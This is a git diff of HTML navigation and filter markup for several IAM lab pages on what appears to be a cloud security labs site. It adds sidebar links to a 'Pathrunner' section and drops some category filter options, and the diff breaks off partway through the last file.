@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-007/index.html b/docs/labs/iam-007/index.html
index 5f9e2545..d4c75b36 100644
--- a/docs/labs/iam-007/index.html
+++ b/docs/labs/iam-007/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-008/index.html b/docs/labs/iam-008/index.html
index d39fbbbb..c6493b78 100644
--- a/docs/labs/iam-008/index.html
+++ b/docs/labs/iam-008/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-009-to-bucket/index.html b/docs/labs/iam-009-to-bucket/index.html
index 93a31a74..e508de5c 100644
--- a/docs/labs/iam-009-to-bucket/index.html
+++ b/docs/labs/iam-009-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-009/index.html b/docs/labs/iam-009/index.html
index 28918a97..af571b0e 100644
--- a/docs/labs/iam-009/index.html
+++ b/docs/labs/iam-009/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-010/index.html b/docs/labs/iam-010/index.html
index 8eaa18cf..f0820ded 100644
--- a/docs/labs/iam-010/index.html
+++ b/docs/labs/iam-010/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
